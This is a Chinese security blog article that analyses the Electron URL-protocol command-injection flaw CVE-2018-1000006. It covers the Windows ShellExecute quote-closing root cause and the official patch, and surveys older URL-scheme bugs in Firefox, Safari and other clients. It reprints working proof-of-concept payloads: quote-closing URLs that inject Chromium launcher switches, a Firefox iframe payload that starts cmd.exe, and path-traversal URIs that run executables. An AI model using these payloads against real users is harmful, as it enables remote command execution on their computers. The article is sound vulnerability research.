登录

Electron 自定义协议命令注入（CVE-2018-1000006）分析和 Url Scheme 安全考古

蚂蚁金服巴斯光年安全实验室 / 2018-01-26 13:05:00 / 浏览数 10625 技术文章 技术文章 顶(2) 踩(0)

■■：■■@■■■■■■■■■■■

Electron 是一款基于 Web 技术（HTML5 + Javascript + css）构建图形界面的开发框架，基于 nodejs 和 Chromium 开发。因为无痛兼容 nodejs 包管理（npm）的大量功能丰富的模块，相对于 native 实现降低了开发难度和迭代成本，受到了开发者的青睐。

漏洞描述

Electron 近日发布了漏洞 CVE-2018-1000006 的安全公告：https://electronjs.org/blog/protocol-handler-fix

这是一个远程命令执行漏洞。在受影响的应用注册了自定义 url 协议之后，攻击者可以利用这些伪协议，在浏览器等场景中远程通过恶意的 url 传递命令行参数执行任意命令，最终完全控制受害者的计算机。由于其利用方式简单粗暴，执行效果理想，是一个危害很大的漏洞。

由于 Electron 的流行，受影响的软件甚至包括 Atom 编辑器, GitHub 客户端, VSCode 编辑器, Slack 客户端这样用户颇多的 Windows 桌面应用。

Electron 官方公告建议升级至如下修订版本（或更高）以获得补丁：

- 1.8.2-beta.4
- 1.7.11
- 1.6.16

如果暂时不能更新框架版本，那么应该在使用 app.setAsDefaultProtocolClient api 的时候将用户可控参数放置于 "--" 之后：

```
app.setAsDefaultProtocolClient(protocol, process.execPath, [
 '--your-switches-here',
 '--'
])
```

漏洞成因

Electron 支持注册自定义 url 协议，浏览器可通过伪协议这种 IPC 方式唤起本地的应用。例如 VSCode 编辑器就注册了 `vscode:` 这一伪协议，在浏览器中安装插件时可以直接点击跳转到 VSCode 的界面：

在 Windows、macOS 以及某些 Linux 桌面环境上都对这种功能提供了原生支持。这次出现远程命令注入的漏洞仅限于 Windows 平台，是因为与 Win32 应用注册 url scheme 和调用的机制有关。

先了解一下 Windows 下的伪协议。微软的 MSDN 对其的介绍文章：Registering an Application to a URI Scheme

假设需要注册一个名为 `alert:` 的协议关联到 alert.exe 打开，在 Windows 中需要创建如下的注册表项结构：

```
HKEY_CLASSES_ROOT
  alert
     (Default) = "URL:Alert Protocol"
     URL Protocol = ""
     DefaultIcon
        (Default) = "alert.exe,1"
     shell
        open
           command
              (Default) = "C:\Program Files\Alert\alert.exe" "%1"
```

命令行中的 %1 表示占位符，也就是通过 argv 将 url 作为参数传递给目标程序。之所以需要双引号，是为了避免参数中存在空格，导致 `CommandLineToArgvW` 函数错误地将文件名拆分成多个部分。

应用可以自行在安装包中创建注册表项，此外 Electron 提供了一个 API app.setAsDefaultProtocolClient(protocol[, path, args]) 来实现注册。

如果 `alert.exe` 没有运行，打开 alert: 协议 url 将会通过命令行执行 alert.exe：

```
"C:\Program Files\Alert\alert.exe" "alert:Hello%20World"
```

Internet Explorer 在执行命令行的时候会先对 url 进行一次 url decode 解码。

HKEY_CLASSES_ROOT 下不仅保存了伪协议的列表，还有文件扩展名的关联数据。事实上 Win32 程序处理本地文件和 url 的打开是类似的，甚至可以使用同一套 Win32 API —— ShellExecute(Ex)。算上 ANSI 和 Unicode 的版本，一共 4 个函数。

打开一个本地文件：

```
ShellExecuteW(NULL, L"open", L"c:\\hello.txt", NULL, NULL , SW_SHOW );
```

通过系统默认浏览器访问淘宝：

```
ShellExecuteW(NULL, L"open", L"https://www.taobao.com", NULL, NULL , SW_SHOW );
```

可以看到除了 lpFile 之外其他参数可以保持完全一致。ShellExecuteExW 也是类似的情况。

ShellExecute 系列函数在这里埋了两个坑。首先是可能存在开发者原本打算传入
url，却被解析成本地路径而变成打开文件甚至运行可执行文件；其次是关联命令行里包裹参数 "%1" 的双引号竟然是可以被闭合掉的。

在 MSDN 中直接说明了闭合引号这一行为：

> To mitigate this issue:

- Avoid spaces, quotes, or backslashes in your URI
- Quote the %1 in the registration ("%1" as written in the 'alert' example registration)
  However, avoidance doesn't completely solve the problem of quotes in the URI or a backslash at the end of the URI.

再回到注册表关联的字符串部分。既然可以用双引号闭合 "%1"，这意味着可以通过伪造 argv 来向应用程序插入多个参数开关。

例如 `alert:1" --this-is-the-new "what`

最终创建的命令行变成了：

```
"C:\Program Files\Alert\alert.exe" "alert:1" --this-is-the-new "what"
```

Electron 生成的应用发行包包括两部分——预编译好的 Electron 运行时和应用本身的 Web 资源文件打包（*.asar）。由于 Electron 基于 Chromium 开发，一些 Chromium 的命令行开关对于 Electron 的主执行文件同样起作用。

Chromium 支持的命令行开关如下：

- https://www.chromium.org/developers/how-tos/run-chromium-with-flags
- https://peter.sh/experiments/chromium-command-line-switches/

Chromium 默认使用多进程模式。渲染器、插件进程的路径和参数可以在 Chromium 命令开关中自定义。CVE-2018-1000006 公开的 poc 利用的是
--gpu-launcher，经过巴斯光年实验室的分析，以下参数均支持执行任意命令：

- --renderer-cmd-prefix
- --gpu-launcher
- --utility-cmd-prefix
- --ppapi-plugin-launcher
- --nacl-gdb
- --ppapi-flash-path 和 --ppapi-flash-args

这意味着闭合引号之后，我们可以在 url 中直接注入命令执行。当然，如果嫌弃 gpu 进程和 renderer 进程的沙箱，我们还有 `--no-sandbox`。

补丁分析

官方提供的补丁如下：

https://github.com/electron/electron/commit/c49cb29ddf3368daf279bd60c007f9c015bc834c

```
+  if (!atom::CheckCommandLineArguments(arguments.argc, arguments.argv))
+    return -1;
```

在启动之后增加了对命令行参数的检查，使用一个庞大的黑名单来屏蔽 Chromium 的参数开关：

https://github.com/electron/electron/blob/c49cb29ddf3368daf279bd60c007f9c015bc834c/atom/app/command_line_args.cc

然后在 atom/browser/atom_browser_client.cc 中增加了对子进程路径的检查：

https://github.com/electron/electron/commit/c49cb29ddf3368daf279bd60c007f9c015bc834c#diff-fb76da0c9cc2defc5c9fa23dd04d5327R241

```
+  // Make sure we're about to launch a known executable
+  base::FilePath child_path;
+  PathService::Get(content::CHILD_PROCESS_EXE, &child_path);
+  CHECK(base::MakeAbsoluteFilePath(command_line->GetProgram()) == child_path);
+
```

尝试启动非法的外部程序将导致异常退出。

此外对于官方给出的临时解决措施，其实也正是 Chromium 本身防止参数注入的办法，即在 “--” 开关之后出现的类似 --no-sandbox 参数将视作文件名处理。

漏洞考古

以下两个浏览器都是使用了 ShellExecute* 系 api 来打开外部 url scheme。

InternetExplorer 11

```
Breakpoint 3 hit
SHELL32!ShellExecuteExW:
00007ffc`6fad0ff0 48895c2408      mov     qword ptr [rsp+8],rbx ss:00000072`e9eff790=0000000000000000
0:019> k
# Child-SP          RetAddr           Call Site
00 00000072`e9eff788 00007ffc`4b4e34fc SHELL32!ShellExecuteExW
01 00000072`e9eff790 00007ffc`4b1f3466 IEFRAME!CShellExecWithHandlerParams::Execute+0xbc
02 00000072`e9eff840 00007ffc`6e7dd544 IEFRAME!BrokerShellExecWithHandlerThreadProc+0x146
```

Chromium

https://cs.chromium.org/chromium/src/chrome/browser/platform_util_win.cc?type=cs&sq=package:chromium&l=101

```
if (reinterpret_cast<ULONG_PTR>(ShellExecuteA(NULL, "open",
                                              escaped_url.c_str(), NULL, NULL,
                                              SW_SHOWNORMAL)) <= 32) {
```

由于 Edge 是一个 UWP 应用，处理外部 url scheme 的方式发生了变化，在调用栈里不再出现 ShellExecute*，而换成了 `SHELL32!CDefFolderMenu::InvokeCommand`。

```
KERNEL32!CreateProcessWStub:
00007ffc`6ecae490 4c8bdc          mov     r11,rsp
0:007> k
# Child-SP          RetAddr           Call Site
00 00000018`474fe0b8 00007ffc`6d81b0f7 KERNEL32!CreateProcessWStub
......
0e 00000018`474fee30 00007ffc`568c2ad7 SHELL32!CDefFolderMenu::InvokeCommand+0x13e
0f 00000018`474ff1a0 00007ffc`565fca55 twinui!CExecuteItem::Execute+0x1ab [onecoreuap\shell\lib\executeitem\executeitem.cpp @
10 00000018`474ff220 00007ffc`565fa5c8 twinui!CBrokeredLauncher::CLaunchHelper::_LaunchShellItemWithOptionsAndVerb+0x19d [shel
11 00000018`474ff3a0 00007ffc`565fcef8 twinui!CBrokeredLauncher::CLaunchHelper::_ExecuteItem+0x28 [shell\twinui\associationlau
12 00000018`474ff3e0 00007ffc`565fa046 twinui!CBrokeredLauncher::CLaunchHelper::_LaunchWithWarning+0x3c8 [shell\twinui\associa
13 00000018`474ff490 00007ffc`565fa3c1 twinui!CBrokeredLauncher::CLaunchHelper::_DoLaunch+0x3e [shell\twinui\associationlaunch
14 00000018`474ff4c0 00007ffc`565f48a4 twinui!CBrokeredLauncher::CLaunchHelper::_DoLaunchOrFallback+0x32d [shell\twinui\associ
15 00000018`474ff580 00007ffc`565ee094 twinui!CBrokeredLauncher::CLaunchHelper::LaunchUri+0xd0 [shell\twinui\associationlaunch
```

但经过简单测试，从 url 闭合引号这个行为同样存在。

Electron 的这个远程命令注入漏洞罪魁祸首应该是 ShellExecute 埋下的坑。实际上被坑过的客户端软件远不止这个，甚至 ShellExecute 自身在处理字符串时也出现过严重漏洞。

MS07-061 (CVE-2007-3896)

早在 10
年前就有这样的漏洞，通过浏览器点击链接却执行了任意命令：https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-061

> A remote code execution vulnerability exists in the way that the Windows shell handles specially crafted URIs that are passed to it. If the Windows shell did not sufficiently validate these URIs, an attacker could exploit this vulnerability and execute arbitrary code.

公告没有给出利用详情。不过根据另一份来自 TrendMicro 的公告，CVE-2007-3896, CVE-2007-3845 都是 CVE-2007-4041 的变体：https://www.trendmicro.com/vinfo/id/threat-encyclopedia/vulnerability/920/multiple-browser-uri-handlers-command-injection-vulnerabilities

CVE-2007-4041 的详情在这个 Firefox 浏览器的 issue：
https://bugzilla.mozilla.org/show_bug.cgi?id=389580#c17

可以看到多个测试用例，其中一个：

```
<a href="mailto:%../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat>
```

因为 url 中的 "%" 导致解析错误，最终当做路径执行了命令。

MS10-007 (CVE-2010-0027)

2010 年类似的漏洞再次被发现：

https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-007

> The vulnerability could allow remote code execution if an application, such as a Web browser, passes specially crafted data to the ShellExecute API function through the Windows Shell Handler.

公告中明确提到漏洞的根本原因是 ShellExecute 函数未能正确地处理传入的 url，错误地把 url 类型当做路径处理。

公开的 poc 如下：

```
xyz://www.example.com#://../../C:/windows/system32/calc.exe
```

只要通过 ShellExecute* 调用即可触发。

CVE-2007-3670

这是一个 Firefox 浏览器伪协议的参数注入，影响 Firefox 和 ThunderBird。

https://www.mozilla.org/en-US/security/advisories/mfsa2007-23/
https://bugzilla.mozilla.org/show_bug.cgi?id=384384

Firefox 注册了一个 FirefoxURL: 协议：

```
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]
C:\\PROGRA~1\\MOZILL~2\\FIREFOX.EXE -url “%1” -requestPending
```

这篇文章的作者使用了引号闭合来注入任意参数
http://larholm.com/2007/07/10/internet-explorer-0day-exploit/

```
FirefoxURL://foo" --argument "my value
```

看到 PoC 代码是不是非常眼熟？熟悉的引号闭合，熟悉的参数伪造。Electron 这个漏洞完全就是 10 年前 Firefox 曾经出现过的问题的复刻。

最后通过 -chrome 参数注入的恶意脚本，利用 Firefox 特权域接口，可实现任意代码执行：

```
<html><body>
<iframe src=’firefoxurl://larholm.com” -chrome “javascript:C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+
String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+
String.fromCharCode(92)+'cmd.exe');
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,['/k%20echo%20hello%20from%20larholm.com'],1);
'><
</body></html>
```

CVE-2007-3186

CVE-2007-3670 的作者还对当时的 Safari Windows 版做了另一个形式的利用：

http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/

```
<iframe src='myprotocol://someserver.com" < foo > bar | foobar "arg1'></iframe>
```

将会执行

```
"C:\Program Files\My Application\myprotocol.exe" "someserver.com" < foo > bar | foobar "arg1"
```

注意这个 poc 是相当过分了。在 Win32 Api 中无论是 CreateProcess 还是 ShellExecute 都是不支持管道符等 CMD 的特性的。唯一的解释就是，Safari 在打开外部 url 时使用了 system 函数！

同样地，作者还是使用了 -chrome 参数实现了对 Firefox 特权域的跨浏览器脚本攻击利用。

某聊天软件命令执行

在 2012 年某即时通讯软件爆出一个远程命令执行漏洞，在修复前 poc 就被恶作剧式地传播开来：

漏洞成因极有可能是实现打开网址时没有为其加入 `http://` 前缀而直接传给了 ShellExecute 函数，导致域名被系统当成路径名，结合目录遍历技巧可执行程序安装盘符下任意命令。但由于可控的参数仅为 lpFile，无法增加其他参数开关（能够实现参数注入是 url 场景而不是本地文件），实际利用效果不理想。

时至今日，您仍然可以在 Windows 上通过一行代码复现这个问题：

```
ShellExecuteW(NULL, L"open", L"www.baidu.com..\\..\\", NULL, NULL, SW_SHOW);
```

代码将会打开一个资源管理器。将路径指向一个存在的可执行文件，可实现命令执行。

小贴士

不想装 VS 编译环境的，Windows 脚本宿主里有一个 COM 接口提供 ShellExecuteEx 的功能：

```
var objShell = new ActiveXObject("shell.application");
WScript.Echo("Attach me...");
objShell.ShellExecute("www.baidu.com..\\..\\", "", "", "open", 1);
```

想要测试 ShellExecute* 的诡异特性的，可以直接用这个脚本，或者干脆在开始菜单、运行里输入 url。

某游戏客户端命令执行

在 HITB 2017 上□，redrain 披露了一个某游戏客户端通过自定义 url scheme 执行命令的漏洞：[Attack Surface Extended by URL Schemes]

在这个伪协议的一个参数中，期望的输入类型是 http(s) 协议的网址。但开发者居然使用 _mbsstr（是否包含子串）来判断网址的有效性，而不是检查字符串的前缀。

最后的利用通过返回上层路径的方式绕过了其中的关键字检测，成功执行任意路径可执行文件：

```
qqgameprotocol://shortcut/# URL=c:/windows/system32/http://qq.com/../../calc.exe ICON=3366xs.ico NAME=AAAAAAAA
DESC=BBBBB TYPE=1 START=1
```

又是一个 ShellExecute 留下的坑。

寻找 url protocol

Android 下的 BROWSABLE 和 iOS 的 universal link 相信不少漏洞猎手和开发者已经很熟悉了，桌面端的关注度和资料相对少了一些。这大概是 Web 和移动端技术的迅猛发展带来的效应吧。

在分析 CVE-2018-1000006 的过程中就有人提问，如何寻找可用的伪协议。前文提到的一些资料里也出现了 macOS 下通过 url scheme 触发的安全问题。下面介绍一下如何枚举当前系统 url scheme 的方法。

早在 2009 年出版的 Hacking: The Next Generation 一书中就提到了 url scheme 在客户端软件中的攻击场景，并给出了三种平台（Windows、OS X、Linux）下枚举系统已注册伪协议的脚本（或程序）。

https://www.safaribooksonline.com/library/view/hacking-the-next/9780596806309/ch04.html

需要指出的是，书中提到 OSX 传递 url 参数使用了命令行，但目前 macOS 桌面应用传递 url scheme 使用的是 Apple Event：

```
-(void)applicationWillFinishLaunching:(NSNotification *)aNotification
{
   NSAppleEventManager *appleEventManager = [NSAppleEventManager sharedAppleEventManager];
   [appleEventManager setEventHandler:self
                          andSelector:@selector(handleGetURLEvent:withReplyEvent:)
                        forEventClass:kInternetEventClass andEventID:kAEGetURL];
}

- (void)handleGetURLEvent:(NSAppleEventDescriptor *)event withReplyEvent:(NSAppleEventDescriptor *)replyEvent
{
   NSURL *url = [NSURL URLWithString:[[event paramDescriptorForKeyword:keyDirectObject] stringValue]];
   // handle it
}
```

书中提供的 vbs 脚本还可以工作，但 mac 版本需要稍作修改才能通过编译。

在此提供一个可用的版本：
https://github.com/ChiChou/LookForSchemes/blob/master/schemes.m

```
/*
 to compile: clang -fmodules schemes.m -o schemes
 then run `./schemes`
*/

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>

extern OSStatus _LSCopySchemesAndHandlerURLs(CFArrayRef *outSchemes, CFArrayRef *outApps);
extern OSStatus _LSCopyAllApplicationURLs(CFArrayRef *theList);
```

```
int main(int argc, const char * argv[]) {
   @autoreleasepool {
       CFArrayRef schemes;
       CFArrayRef apps;
       NSWorkspace *workspace = [NSWorkspace sharedWorkspace];
       _LSCopySchemesAndHandlerURLs(&schemes, &apps);
       for (CFIndex i = 0, count = CFArrayGetCount(schemes); i < count; i++) {
           CFStringRef scheme = CFArrayGetValueAtIndex(schemes, i);
           CFArrayRef handlers = LSCopyAllHandlersForURLScheme(scheme);
           NSLog(@"%@:", scheme);

           for (CFIndex j = 0, bundle_count = CFArrayGetCount(handlers); j < bundle_count; j++) {
               CFStringRef handler = CFArrayGetValueAtIndex(handlers, j);
               NSLog(@"\t%@ (%@)", handler, [workspace absolutePathForAppBundleWithIdentifier:(__bridge NSString *)handler]);
           }
       }
       NSLog(@"\n");
   }
   return 0;
}
```

Windows 版也重写了一个，篇幅所限完整代码请到 GitHub 获取：
https://github.com/ChiChou/LookForSchemes/blob/master/AppSchemes.cpp

可以看到不少有趣的 url：

而他们会不会有新的漏洞呢？

参考资料

[1]. Registering an Application to a URI Scheme
[2]. About Dynamic Data Exchange
[3]. Microsoft Security Bulletin MS07-061 - Critical
[4]. https://www.trendmicro.com/vinfo/id/threat-encyclopedia/vulnerability/920/multiple-browser-uri-handlers-command-injection-vulnerabilities
[5]. Microsoft Security Bulletin MS10-007 - Critical
[6]. URI Use and Abuse
[7]. Attack Surface Extended by URL Schemes

上一篇：VPS上搭建Kali linux 下一篇：低成本企业安全建设部分实践

1. 1 条回复

刘德华 2018-01-26 14:31:35

想要测试 ShellExecute* 的诡异特性的，可以直接用这个脚本，或者干脆在开始菜单、运行里输入 url ，跳到浏览器了

https://www.baidu.com/error.html

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板